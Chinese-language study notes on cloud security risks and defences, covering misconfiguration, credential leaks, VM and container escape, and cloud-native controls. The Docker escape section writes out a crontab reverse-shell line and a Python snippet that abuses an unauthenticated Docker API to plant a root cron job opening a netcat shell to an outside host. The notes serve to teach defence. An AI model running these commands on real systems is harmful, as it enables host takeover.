云安全面临的风险:
1)访问控制(网络层隔离不足,应用层IAM、IDAAS配置问题)
2)身份和凭证泄露(aksk、账号)
3)错误的配置(安全组、es、db未授权)
4)安全漏洞(租户开放的应用安全漏洞,平台逃逸-毒液)
5)安全合规(审计日志/安全防护)
6)DDoS攻击(被攻击or攻击别人)
7)云资源滥用(挖矿、翻墙)
8)云原生安全(镜像、基线、未隔离、runtime防护)
云安全常见严重漏洞
1、逃逸
防守应对:监控0day和热修复、热迁移能力快速应对;安全产品监控(拦截、告警)
逃逸渗透:漏洞exp检测,写宿主机高危操作crontab、ssh公钥配置、网络链接等。
**eg1:**虚拟机(vm)2015 毒液逃逸漏洞:
模拟服务输入输出的时候缓存溢出执行恶意shellcode完成控制
eg2:
2020 模拟USB驱动溢出漏洞
eg3:Docker逃逸
1)特权容器:
判断特权启动为特权启动
cat /proc/self/status |grep CapEff (centos 0000001fffffffff,ubuntu 0000003fffff)
挂在根目录写定时任务:
fdisk -l ; mkdir sectest;mount /dev/dm-0 sectest;crontab 写 bash -i >& /dev/tcp/xx.x.x.x/8888
2)挂载Docker.sock
3)runC逃逸cve-2019-5736(< 18.09.2)
需有用户通过exec进入才可触发payload,利用runC文件被覆盖重写获取控制文件句柄后拿到宿主机的权限
4)docker api未授权 2375/2376,利用路径通告写定时任务实现控制
检测: get x.x.x.x:2375/version 返回docker版本信息
利用:
import docker
client = docker.DockerClient(base_url='http://xx.168.0.138:2375') data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.0.138 1234 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={
'/etc': {
'bind': '/tmp/etc', 'mode': 'rw'}})
print(data)
5)控制面的accesskey接管产品所有容器
2、云服务组件漏洞
ES、Redis未授权、弱口令,OSS公有读写,docker系漏洞和逻辑漏洞等。 因云的开放性每个系统存在的问题暴露后将可在公网无门槛的攻击。
3、accesskey泄露
系统ak又超级ak,
产品控制面ak、
用户层ak
4、网络穿透
租户流量穿透到IDC管理网、或者 租户1横向到租户2
云下underlay:
基础服务安全:访问鉴权、南北东西向加密、隔离划最小化的可信区域
云上overlay:
产品配置风险:对公网服务未授权、弱口令;oss公开读写;高危组件对外开放
云原生安全:
镜像安全:恶意文件、组件漏洞
安全CIS基线:k8s集群配置基线,容器应用配置; 平台级应用mtls
微隔离:网络隔离 和 文件隔离
runtime:内存马、shell、逃逸
后续迭代中…